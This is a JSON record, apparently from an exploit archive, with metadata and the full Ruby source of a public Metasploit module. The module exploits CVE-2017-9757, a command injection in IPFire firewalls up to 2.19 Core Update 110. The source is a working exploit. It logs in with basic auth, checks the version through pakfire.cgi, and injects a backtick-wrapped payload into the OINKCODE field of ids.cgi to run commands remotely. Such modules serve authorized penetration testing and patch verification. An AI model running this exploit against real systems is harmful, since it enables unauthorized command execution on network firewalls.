{"exploit":{"id":"MSF-linux--http--ipfire_oinkcode_exec","name":"IPFire proxy.cgi RCE","description":"IPFire, a free linux based open source firewall distribution, version < 2.19 Update Core 110 contains a remote command execution vulnerability in the ids.cgi page in the OINKCODE field.","cves":["CVE-2017-9757"],"author":"h00die, 0x09AL","published":"2017-06-09","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/ipfire_oinkcode_exec.rb","path":"modules/exploits/linux/http/ipfire_oinkcode_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"ipfire_oinkcode_exec.rb","vulnerabilities":[{"id":"CVE-2017-9757","state":"PUBLISHED","title":null,"titleSource":null,"description":"IPFire 2.19 has a Remote Command Injection vulnerability in ids.cgi via the OINKCODE parameter, which is mishandled by a shell. This can be exploited directly by authenticated users, or through CSRF.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-9757","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-9757"},"updatedAt":"2024-08-05T17:18:01.566Z","retrievedAt":"2026-11-26T14:31:47.908Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--ipfire_oinkcode_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--ipfire_oinkcode_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--ipfire_oinkcode_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--ipfire_oinkcode_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n## This module requires Metasploit: https://metasploit.com/download\n## Current source: https://github.com/rapid7/metasploit-framework\n###\n\nclass MetasploitModule < Msf::Exploit::Remote\n  include Msf::Exploit::Remote::HttpClient\n\n  Rank = ExcellentRanking\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'IPFire proxy.cgi RCE',\n        'Description' => %q{\n          IPFire, a free linux based open source firewall distribution,\n          version < 2.19 Update Core 110 contains a remote command execution\n          vulnerability in the ids.cgi page in the OINKCODE field.\n        },\n        'Author' => [\n          'h00die <mike@stcyrsecurity.com>', # module\n          '0x09AL' # discovery\n        ],\n        'References' => [\n          [ 'CVE', '2017-9757' ],\n          [ 'EDB', '42149' ]\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Privileged' => false,\n        'DefaultOptions' => { 'SSL' => true },\n        'Arch' => [ ARCH_CMD ],\n        'Payload' => {\n          'Compat' =>\n            {\n              'PayloadType' => 'cmd',\n              'RequiredCmd' => 'perl awk openssl'\n            }\n        },\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2017-06-09',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),\n        OptString.new('PASSWORD', [ false, 'Password to login with', '']),\n        Opt::RPORT(444)\n      ]\n    )\n  end\n\n  def check\n    begin\n      # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179\n      # after a chat with @bcoles in IRC.\n      res = send_request_cgi(\n        'uri' => '/cgi-bin/pakfire.cgi',\n        'method' => 'GET',\n        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])\n      )\n\n      if res && res.code == 200\n        /\\<strong\\>IPFire (?<version>[\\d.]{4}) \\([\\w]+\\) - Core Update (?<update>[\\d]+)/ =~ res.body\n      end\n      if version.nil? || update.nil? || !Rex::Version.correct?(version)\n        vprint_error('No Recognizable Version Found')\n        CheckCode::Safe('The target is not vulnerable')\n      elsif Rex::Version.new(version) <= Rex::Version.new('2.19') && update.to_i <= 110\n        CheckCode::Appears('The target appears to be vulnerable')\n      else\n        vprint_error('Version and/or Update Not Supported')\n        CheckCode::Safe('The target is not vulnerable')\n      end\n    rescue ::Rex::ConnectionError\n      print_error(\"Connection Failed\")\n      CheckCode::Safe('The target is not vulnerable')\n    end\n  end\n\n  def exploit\n    begin\n      # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179\n      # after a chat with @bcoles in IRC.\n      vprint_status('Sending request')\n      res = send_request_cgi(\n        'uri' => '/cgi-bin/ids.cgi',\n        'method' => 'POST',\n        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n        'headers' =>\n          {\n            'Referer' => \"#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi\"\n          },\n        'vars_post' => {\n          'ENABLE_SNORT_GREEN' => 'on',\n          'ENABLE_SNORT' => 'on',\n          'RULES' => 'registered',\n          'OINKCODE' => \"`#{payload.encoded}`\",\n          'ACTION' => 'Download new ruleset',\n          'ACTION2' => 'snort'\n        }\n      )\n\n      # success means we hang our session, and wont get back a response, so just check we get a response back\n      if res && res.code != 200\n        fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\")\n      end\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n    end\n  end\nend\n","sha256":"9ebc69e2cab26a32274e6fa3c5d39970caff1dfff033ff6bbb3eb52b4db95761","bytes":4113,"fetchedAt":"2026-11-26T14:31:41.712Z","encoding":"utf-8 (display only; download retains original bytes)"}